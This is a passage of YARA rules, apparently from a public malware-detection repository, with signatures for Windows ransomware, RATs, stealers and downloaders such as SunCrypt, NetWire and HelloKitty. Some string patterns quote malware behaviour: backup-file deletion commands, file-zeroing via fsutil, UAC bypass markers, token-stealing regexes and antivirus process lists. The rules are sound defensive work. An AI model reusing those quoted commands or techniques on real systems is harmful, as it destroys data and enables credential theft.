		$s4 = "No, this ransomware dont encrypt your files, erases it" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of them and #s1 > 10 )
}

rule DITEKSHEN_MALWARE_Win_Lcpdot : FILE
{
	meta:
		description = "Detects LCPDot"
		author = "ditekSHen"
		id = "e4db3784-7fb0-58bd-997e-788f409445cd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4318-L4337"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b0f77f17976c38a69c2ff0d84002f2db29a4d25873309259519115b5f2b210ff"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
		$s2 = "Cookie: SESSID=%s" fullword ascii
		$s3 = "Cookie=Enable" fullword ascii
		$s4 = "Cookie=Enable&CookieV=%d&Cookie_Time=32" fullword ascii
		$s5 = ".?AVTShellCodeRuner@@" fullword ascii
		$s6 = ".?AVTHashEncDecoder@@" fullword ascii
		$s7 = ".?AVTWebAddressList@@" fullword ascii
		$s8 = "WinMain.dll" fullword ascii
		$s9 = "HotPlugin" wide
		$o0 = { 4c 89 6c 24 08 4c 89 34 24 44 8d 77 01 44 8d 6f }
		$o1 = { 8b f0 e8 58 34 00 00 48 8b f8 48 85 c0 74 0c 48 }
		$o2 = { c7 44 24 30 47 49 46 38 c7 44 24 34 39 61 27 00 }
	condition:
		uint16( 0 ) == 0x5a4d and 6 of ( $s* ) or ( all of ( $o* ) and 3 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Torisma : FILE
{
	meta:
		description = "Detects Torisma"
		author = "ditekSHen"
		id = "e62a0f1c-4404-5da1-9c43-4cb58e735827"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4339-L4355"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bd3823f8a91fdfc443e20bcb299a5103b7176a694f0d5328e7986de83f677a31"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ACTION=PREVPAGE&CODE=C%s&RES=%d" fullword ascii
		$s2 = "ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d" fullword ascii
		$s3 = "ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d" fullword ascii
		$s4 = "Your request has been accepted. ClientID: {" ascii
		$s5 = "Proxy-Connection: Keep-Alive" fullword wide
		$s6 = "Content-Length: %d" fullword wide
		$o0 = { f7 f9 8b c2 89 44 24 34 48 63 44 24 34 48 8b 4c }
		$o1 = { 48 c7 00 ff ff ff ff 48 8b 84 24 90 }
		$o2 = { f3 aa 83 7c 24 30 01 75 34 c7 44 24 20 01 }
	condition:
		uint16( 0 ) == 0x5a4d and 4 of ( $s* ) or ( all of ( $o* ) and 3 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Thanos : FILE
{
	meta:
		description = "Detects Thanos / Prometheus / Spook ransomware"
		author = "ditekSHen"
		id = "f523906e-ef5e-57be-82ed-06e75c393f42"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4357-L4389"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8ce7cdfe4bca31e21d6fa31a75c46737a41fae3b5b0fda818e3a4709ceaf9bf5"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$f1 = "<WorkerCrypter2>b__" ascii
		$f2 = "<Encrypt2>b__" ascii
		$f3 = "<Killproc>b__" ascii
		$f4 = "<GetIPInfo>b__" ascii
		$f5 = "<MacAddress>k__" ascii
		$f6 = "<IPAddress>k__" ascii
		$f7 = "<Crypt>b__" ascii
		$s1 = "Aditional KeyId:" wide
		$s2 = "process call create cmd.exe /c \\\\" wide
		$s3 = "/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin" wide
		$s4 = "\\HOW_TO_DECYPHER_FILES." wide
		$s5 = "Client Unique Identifier Key:" wide
		$s6 = "/s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" fullword wide
		$s7 = "NtOpenProcess" fullword wide
		$s8 = "Builder_Log" fullword wide
		$s9 = "> Nul & fsutil file setZeroData offset=0 length=" wide
		$s10 = "3747bdbf-0ef0-42d8-9234-70d68801f407" wide
		$s11 = "4b195894-0f06-4fdd-afb4-b17fb9246a59" wide
		$s12 = "cec564ff-2433-4771-b918-15f58ef6e26c" wide
		$s13 = "56258a19-7489-468b-86ee-e7899203d67c" wide
		$s14 = "WalkDirectoryTree" fullword ascii
		$s15 = "hashtableLock" fullword ascii
		$s16 = "get_ParentFrn" fullword ascii
		$m1 = "SW5mb3JtYXRpb24uLi" wide
		$m2 = "QWxsIHlvdXIgZmlsZXMgd2VyZSBlbmNyeXB0" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $f* ) or 5 of ( $s* ) or ( 4 of ( $f* ) and 2 of ( $s* ) or ( all of ( $m* ) and 3 of them ) ) or 8 of them )
}

rule DITEKSHEN_MALWARE_Win_Tmanager : FILE
{
	meta:
		description = "Detects TManager RAT. Associated with TA428"
		author = "ditekSHen"
		id = "391b72bd-ddf5-5251-b566-c75c1cc16b74"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4391-L4410"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cdbcc00ae67c9161f6db89cfa658c8bc8fb7fab3915ac5ae99bdd34c42ee2abb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "WSAStartup Error!" fullword wide
		$s2 = "KB3112342.LOG" fullword wide
		$s3 = "\\cmd.exe -c" fullword wide
		$s4 = "sock_hmutex" fullword wide
		$s5 = "cmd_hmutex" fullword wide
		$s6 = "powershell" fullword wide
		$s7 = "%s_%d.bmp" fullword wide
		$s8 = "!Error!" fullword wide
		$s9 = "[Execute]" fullword ascii
		$s10 = "[Snapshot]" fullword ascii
		$s11 = "GetLanIP error!" fullword ascii
		$s12 = "chcp & exit" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Sn0Wlogger : FILE
{
	meta:
		description = "Detects Sn0w Logger"
		author = "ditekSHen"
		id = "cdb70164-3f72-553f-a6c5-190f699e0743"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4412-L4428"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ea4b2281f906271dc249b5036b22eadfc5add94def4f8e4f8a40c384618465d8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\SnowP\\Example\\Secured\\" ascii
		$s2 = "{0}{3}Content-Type: {4}{3}Content-Disposition: form-data; name=\"{1}\"{3}{3}{2}{3}" wide
		$s3 = "\"encrypted_key\":\"(.*?)\"" fullword wide
		$s4 = "<SendToDiscord>d__" ascii
		$s5 = "_urlWebhook" ascii
		$r1 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}" fullword wide
		$r2 = "^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$" fullword wide
		$r3 = "mfa\\.[\\w-]{84}" fullword wide
		$r4 = "(\\w+)=(\\d+)-(\\d+)$" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( all of ( $r* ) and 2 of ( $s* ) ) or 7 of them )
}

rule DITEKSHEN_MALWARE_Win_Klackring : FILE
{
	meta:
		description = "Detects Klackring variants. Associated with ZINC / Lazarus"
		author = "ditekSHen"
		id = "7bd9a68f-d58b-5437-a28b-5a7f1a11038e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4461-L4475"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b894e89de720affadd80966d726a44ffce75d71095b0530edb6bfddb76660c54"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%s\\%s.dll" fullword wide
		$s2 = "cmd.exe /c move /Y %s %s" fullword wide
		$s3 = "%s\\win32k.sys" fullword wide
		$s4 = "NetSvcInst_Rundll32.dll" fullword ascii
		$s5 = "Spectrum.dll" fullword ascii wide
		$s6 = "%s\\cmd.exe" fullword wide
		$s7 = ".?AVA5Stream@@" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Suncrypt : FILE
{
	meta:
		description = "Detects SunCrypt ransomware"
		author = "ditekSHen"
		id = "1a28fcbf-1fc0-5f18-ae71-2e813ed0f958"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4494-L4532"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "abde9bbf2577304ff059972a38e803ba17de7a1f0346efe880a710f2ad79db37"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "-noshares" fullword wide
		$s2 = "-nomutex" fullword wide
		$s3 = "-noreport" fullword wide
		$s4 = "-noservices" fullword wide
		$s5 = "$Recycle.bin" fullword wide
		$s6 = "YOUR_FILES_ARE_ENCRYPTED.HTML" fullword wide
		$s7 = "\\\\?\\%c:" fullword wide
		$s8 = "locker.exe" fullword ascii
		$s9 = "DllRegisterServer" fullword ascii
		$g1 = "main.EncFile" fullword ascii nocase
		$g2 = "main.detectName" fullword ascii nocase
		$g3 = "main.detectIP" fullword ascii nocase
		$g4 = "main.detectDebugProc" fullword ascii nocase
		$g5 = "main.Bypass" ascii nocase
		$g6 = "main.allocateMemory" fullword ascii nocase
		$g7 = "main.killAV" fullword ascii nocase
		$g8 = "main.disableShadowCopy" fullword ascii nocase
		$g9 = "main.(*windowsDrivesModel).LoadDrives" fullword ascii nocase
		$g10 = "main.IsFriends" fullword ascii nocase
		$g11 = "main.walkMsg" fullword ascii nocase
		$g12 = "main.makeSecretMessage" fullword ascii nocase
		$g13 = "main.stealFiles" fullword ascii nocase
		$g14 = "main.newKey" fullword ascii nocase
		$g15 = "main.openBrowser" fullword ascii nocase
		$g16 = "main.killProc" fullword ascii nocase
		$g17 = "main.selfRemove" fullword ascii nocase
		$m1 = "<h2>\\x20Offline\\x20HowTo\\x20</h2>\\x0a\\x09\\x09\\x09\\x09<p>Copy\\x20&\\x20Paste\\x20this\\x20message\\x20to" ascii
		$m2 = "\\x20restore\\x20your\\x20files." ascii
		$m3 = "\\x20your\\x20documents\\x20and\\x20files\\x20encrypted" ascii
		$m4 = "\\x20lose\\x20all\\x20of\\x20your\\x20data\\x20and\\x20files." ascii
		$m5 = ",'/#/client/','<h2>\\x20Whats\\x20Happen" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or 6 of ( $g* ) or 3 of ( $m* ) )
}

rule DITEKSHEN_MALWARE_Win_Zegost : FILE
{
	meta:
		description = "Detects Zegost"
		author = "ditekSHen"
		id = "cce29602-c096-53df-a99b-16f18ed43b80"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4534-L4560"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "96727a0f5c113e5cdfe871f104553fd1c04a8f63ecbb8db7223afb71fcdd4087"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "rtvscan.exe" fullword ascii
		$s2 = "ashDisp.exe" fullword ascii
		$s3 = "KvMonXP.exe" fullword ascii
		$s4 = "egui.exe" fullword ascii
		$s5 = "avcenter.exe" fullword ascii
		$s6 = "K7TSecurity.exe" fullword ascii
		$s7 = "TMBMSRV.exe" fullword ascii
		$s8 = "RavMonD.exe" fullword ascii
		$s9 = "kxetray.exe" fullword ascii
		$s10 = "mssecess.exe" fullword ascii
		$s11 = "QUHLPSVC.EXE" fullword ascii
		$s12 = "360tray.exe" fullword ascii
		$s13 = "QQPCRTP.exe" fullword ascii
		$s14 = "knsdtray.exe" fullword ascii
		$s15 = "V3Svc.exe" fullword ascii
		$s16 = "??1_Winit@std@@QAE@XZ" fullword ascii
		$s17 = "ClearEventLogA" fullword ascii
		$s18 = "SeShutdownPrivilege" fullword ascii
		$s19 = "%s\\shell\\open\\command" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_GENERIC01 : FILE
{
	meta:
		description = "Detects known unamed malicious executables, mostly DLLs"
		author = "ditekSHen"
		id = "3c16df71-f2e2-591c-b377-7e5ed697d43f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4562-L4575"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ddae979db5ddda772ca66a3d50e4b5479b16052ea002fd04fdbf295ce784e291"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\wmkawe_%d.data" ascii
		$s2 = "\\resmon.resmoncfg" ascii
		$s3 = "ByPassUAC" fullword ascii
		$s4 = "rundll32.exe C:\\ProgramData\\Sandboxie\\SbieMsg.dll,installsvc" fullword ascii nocase
		$s5 = "%s\\SbieMsg." ascii
		$s6 = "Stupid Japanese" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Dlagent06 : FILE
{
	meta:
		description = "Detects known downloader agent downloading encoded binaries in patches"
		author = "ditekSHen"
		id = "00cb5184-b12d-5014-bee8-116cc72dfa47"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4593-L4610"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9188804ad0e08f3e0cd09eb8815abea14da5aa28aef9084d19108a24f49f65c7"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920122"
		snort3_sid = "920119"
	strings:
		$s1 = "totallist" fullword ascii wide
		$s2 = "LINKS_HERE" fullword wide
		$s3 = "[SPLITTER]" fullword wide
		$var2_1 = "DownloadWeb" fullword ascii
		$var2_2 = "WriteByte" fullword ascii
		$var2_3 = "MemoryStream" fullword ascii
		$var2_4 = "DownloadString" fullword ascii
		$var2_5 = "WebClient" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 2 of ( $var2* ) ) or ( 4 of ( $var2* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Fujinamarat : FILE
{
	meta:
		description = "Detects FujinamaRAT"
		author = "ditekSHen"
		id = "f6b08713-1c03-5914-b0a2-ea9164a3f2cb"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4629-L4645"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "42557094afe67196442f46d76f156c09852d694bcc5f03eac51e79ad247c2fdd"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "920124"
		snort3_sid = "920121"
	strings:
		$s1 = "GetAsyncKeyState" fullword ascii
		$s2 = "HTTP/1.0" fullword wide
		$s3 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword wide
		$s4 = "frmMain" fullword ascii
		$s5 = "G<=>?@ABGGGGGGGGGGGGGGGGGGGGGGGGGGCDEF" fullword ascii
		$s6 = "VBA6.DLL" fullword ascii
		$s7 = "t_save" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Phorpiex : FILE
{
	meta:
		description = "Detects Phorpiex variants"
		author = "ditekSHen"
		id = "e2d26c5f-939e-53e3-8730-622341d26273"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4647-L4666"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4c48a20aaf37d65471710181238d2c39c1cb0fc5a37b9c411e8d4dcfd7a9e26e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ShEllExECutE=__\\DriveMgr.exe" fullword wide nocase
		$s2 = "/c start __ & __\\DriveMgr.exe & exit" fullword wide nocase
		$s3 = "%s\\autorun.inf" fullword wide
		$s4 = "svchost." wide
		$s5 = "%ls\\%d%d" wide
		$s6 = "bitcoincash:" ascii
		$s7 = "%ls:*:Enabled:%ls" fullword wide
		$s8 = "%s\\%s\\DriveMgr.exe" fullword wide
		$s9 = "api.wipmania.com" ascii
		$v1_1 = "%appdata%" fullword wide
		$v1_2 = "(iPhone;" ascii
		$v1_3 = "/tst.php" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or all of ( $v1* ) )
}

rule DITEKSHEN_MALWARE_Win_Vovalex : FILE
{
	meta:
		description = "Detects Vovalex ransomware"
		author = "ditekSHen"
		id = "967af585-8a91-5ed0-8400-a8a24d95fd12"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4705-L4718"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ea695521981f4b007eee50e95f7989dda1f07cc411c59450489bb17391ff29dc"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "README.VOVALEX.txt" fullword ascii
		$s2 = "\\src\\phobos\\std\\" ascii
		$s3 = "LoadLibraryA(\"Advapi32.dll\")" fullword ascii
		$s4 = "Failed to spawn process \"" fullword ascii
		$s5 = "=== Bypassed ===" fullword ascii
		$s6 = "If you don't know where to buy" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Dharma : FILE
{
	meta:
		description = "Detects Dharma ransomware"
		author = "ditekSHen"
		id = "070be95e-8d9c-5c4d-9d46-cddea6dbb682"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4720-L4728"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2727b2c0295e32699e08c3c79d7ac6fd52f1520358ac23290d40df428c969f4b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "C:\\crysis\\Release\\PDB\\payload.pdb" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Cryptolocker : FILE
{
	meta:
		description = "Detects Cryptolocker ransomware variants (Betarasite)"
		author = "ditekSHen"
		id = "4c6d714d-1fb1-55ce-8022-40f6f634e2cd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4730-L4752"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e1700e8ace338c25119305878e8bc52210506bd42183007985ba9601abdab87b"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "CryptoLocker" fullword wide
		$x2 = ".betarasite" fullword wide
		$x3 = "CMSTPBypass" fullword ascii
		$s1 = "CommandToExecute" fullword ascii
		$s2 = "SetInfFile" fullword ascii
		$s3 = "SchoolPrject1" ascii
		$s4 = "$730d5f64-bd57-47c1-9af4-d20aec714d02" fullword ascii
		$s5 = "Encrypt" fullword ascii
		$s6 = "Invalide Key! Please Try Again." fullword wide
		$s7 = "RegAsm" fullword wide
		$s8 = "Your key will be destroyed" wide
		$s9 = "encrypted using RC4 and RSA-2048" wide
		$c1 = "https://coinbase.com" fullword wide
		$c2 = "https://localbictoins.com" fullword wide
		$c3 = "https://bitpanda.com" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or all of ( $s* ) or ( 2 of ( $x* ) and 5 of ( $s* ) ) or ( all of ( $c* ) and 1 of ( $x* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Steamhook : FILE
{
	meta:
		description = "Detects potential Steam stealer"
		author = "ditekSHen"
		id = "7533fb83-d721-54e6-8ae1-1c840dd5a13d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4767-L4781"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "da743ca99fd19828e3938875acaf6544f17d884587a59623c8361f5905af4a57"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "Mozilla/4.0 (compatible; )" fullword ascii
		$s2 = "/steam/upload.php" ascii
		$s3 = ".*?(ssfn\\d+)" fullword ascii
		$s4 = "add cookie failed..." fullword ascii
		$s5 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii
		$pdb1 = "\\SteamHook\\Install\\" ascii
		$pdb2 = "\\SteamHook\\dll\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or all of ( $pdb* ) or ( 1 of ( $pdb* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Netwire : FILE
{
	meta:
		description = "Detects NetWire RAT"
		author = "ditekSHen"
		id = "c215f449-c725-51da-8f5b-2619bc282b22"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4783-L4805"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bae4f0cd7a431336bd784ba95f6ba3396e6f0f12c081e62482ad37ff859c1f1c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "SOFTWARE\\NetWire" fullword ascii
		$x2 = { 4e 65 74 57 69 72 65 00 53 4f 46 54 57 41 52 45 5c 00 }
		$s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
		$s2 = "filenames.txt" fullword ascii
		$s3 = "GET %s HTTP/1.1" fullword ascii
		$s4 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
		$s5 = "Host.exe" fullword ascii
		$s6 = "-m \"%s\"" fullword ascii
		$g1 = "HostId" fullword ascii
		$g2 = "History" fullword ascii
		$g3 = "encrypted_key" fullword ascii
		$g4 = "Install Date" fullword ascii
		$g5 = "hostname" fullword ascii
		$g6 = "encryptedUsername" fullword ascii
		$g7 = "encryptedPassword" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or all of ( $x* ) or ( 1 of ( $x* ) and 2 of ( $s* ) ) or ( all of ( $g* ) and ( 2 of ( $s* ) or 1 of ( $x* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Breakstaf : FILE
{
	meta:
		description = "Detects BreakStaf ransomware"
		author = "ditekSHen"
		id = "3c8ca485-2cb4-56fd-a1f5-16b43515cec9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4807-L4827"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "56078b797c64ce77398f9b92e5677f7159d8357eafb03cf62bb30f06d4f3b2e3"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "C:\\Program files" wide
		$s2 = "C:\\Program files (x86)" wide
		$s3 = "C:\\System Volume Information" wide
		$s4 = "C:\\$Recycle.Bin" wide
		$s5 = "C:\\Windows" wide
		$s6 = ".?AVRandomNumberGenerator@Crypto" ascii
		$s7 = ".?AV?$SymmetricCipherFinal@" ascii
		$s8 = ".breakstaf" fullword wide nocase
		$s9 = "readme.txt" fullword wide nocase
		$s10 = ".VHD" fullword wide nocase
		$s11 = ".vhdx" fullword wide nocase
		$s12 = ".BAK" fullword wide nocase
		$s13 = ".BAC" fullword wide nocase
	condition:
		uint16( 0 ) == 0x5a4d and 12 of them
}

rule DITEKSHEN_MALWARE_Win_Kitty : FILE
{
	meta:
		description = "Detects HelloKitty ransomware, triggers on FIVEHANDS"
		author = "ditekSHen"
		id = "4147294a-7eff-595a-ad4f-8a84ffff960f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4829-L4847"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3a36755c81ec70c127bb73448fc29325444b85b5f0704327fc81975c2af2e99e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Kitty" wide
		$s2 = "-path" fullword wide
		$s3 = "select * from Win32_ShadowCopy" fullword wide
		$s4 = "Win32_ShadowCopy.ID='%s'" fullword wide
		$s5 = "programdata" fullword wide
		$s6 = "$recycle.bin" fullword wide
		$s7 = ".crypt" fullword wide
		$s8 = "%s/secret/%S" wide
		$s9 = "decrypts3nln3tic.onion" wide
		$n1 = "read_me_lkd.txt" wide
		$n2 = "DECRYPT_NOTE.txt" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or 1 of ( $n* ) and 4 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Dlagent07 : FILE
{
	meta:
		description = "Detects delf downloader agent"
		author = "ditekSHen"
		id = "a45afe84-15ae-528a-ad7e-ab9f03045789"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4849-L4867"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1e0001d18524d0d34ad876e67e2c4dc0495ee18a73c34f53f97367876e27b406"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "C:\\Users\\Public\\Libraries\\temp" fullword ascii
		$s2 = "SOFTWARE\\Borland\\Delphi" ascii
		$s3 = "Mozilla/5.0(compatible; WinInet)" fullword ascii
		$o1 = { f3 a5 e9 6b ff ff ff 5a 5d 5f 5e 5b c3 a3 00 40 }
		$o2 = { e8 83 d5 ff ff 8b 15 34 40 41 00 89 10 89 58 04 }
		$o3 = { c3 8b c0 53 51 e8 f1 ff ff ff 8b d8 85 db 74 3e }
		$o4 = { e8 5c e2 ff ff 8b c3 e8 b9 ff ff ff 89 04 24 83 }
		$o5 = { 85 c0 74 1f e8 62 ff ff ff a3 98 40 41 00 e8 98 }
		$o6 = { 85 c0 74 19 e8 be ff ff ff 83 3d 98 40 41 00 ff }
